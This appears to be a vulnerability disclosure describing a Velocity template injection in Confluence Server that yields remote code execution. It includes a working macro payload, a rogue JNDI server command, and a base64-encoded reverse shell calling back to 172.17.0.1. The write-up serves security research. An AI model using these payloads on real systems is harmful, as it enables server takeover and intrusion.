Summary by Atlassian
Velocity Template Injection Vulnerability in Confluence Server
Velocity Template Injection Vulnerability in Confluence Server
A user with privileges to edit User macros may execute arbitrary Java code or run arbitrary system commands with the same privileges as the account running Confluence.
Confluence Data Center
Other
A user with privileges to edit User macros may execute arbitrary Java code or run arbitrary system commands with the same privileges as the account running Confluence.
By inserting malicious content in a Velocity macro, an attacker may perform SSTI (Server-Side Template Injection) attacks, which can leverage Velocity exposed objects to bypass restrictions and lookup arbitrary “LDAP” and/or “RMI” resources. By leveraging this gadget to point Confluence to a malicious connection, an attacker is able to serve arbitrary Java Gadgets to the target resulting in Remote Code Execution (RCE).
By consulting the Confluence online documentation we observe that Velocity exposes several complex Java objects. By navigating through them we can observe that the “$config” object, of type BootstrapManager , exposes the function “getTestDatasourceConnection(String datasourceName)” that can be used to lookup malicious “LDAP” and/or “RMI” resources.
We can use the following SSTI gadget in order to point Confluence to a malicious LDAP server:
$config.getTestDatasourceConnection("ldap://172.17.0.1:4444/o=tomcat")
In order to leverage the above Velocity payload we first require creating/editing a macro from “Admin -> User Macros”. The full Velocity template should have the following content:
## @param Name:title=Name|type=string|required=true|desc=Your name
#set ($space = $spaceManager.getAllSpaces().get(0))
$config.getTestDatasourceConnection("ldap://172.17.0.1:4444/o=tomcat")
Browser View:
Before triggering the JNDI lookup, we need to set up a malicious JNDI server using the “rogue-jndi” software with the following command:
java -jar target/RogueJndi-1.1.jar -l 4444 -p 5555 -c 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTcuMC4xLzY2NjYgMD4mMQo=}|{base64,-d}|bash' -n 172.17.0.1
Note: In this scenario, when the JNDI gadget is successfully parsed, a reverse bash shell will be sent back to the attacker, listening on host 172.17.0.1, port 6666.
Now, in order to trigger the lookup, we will insert the above macro into a Confluence “Page” by pressing “+” and selecting our malicious macro. When the macro will be previewed, the malicious LDAP connection will be made and RCE will be achieved.
Note: Although the Velocity macro results in an error, the Java payload is successfully parsed and arbitrary system commands are executed.
Attacker View with the “rogue-jndi” server (left) and reverse shell received (right):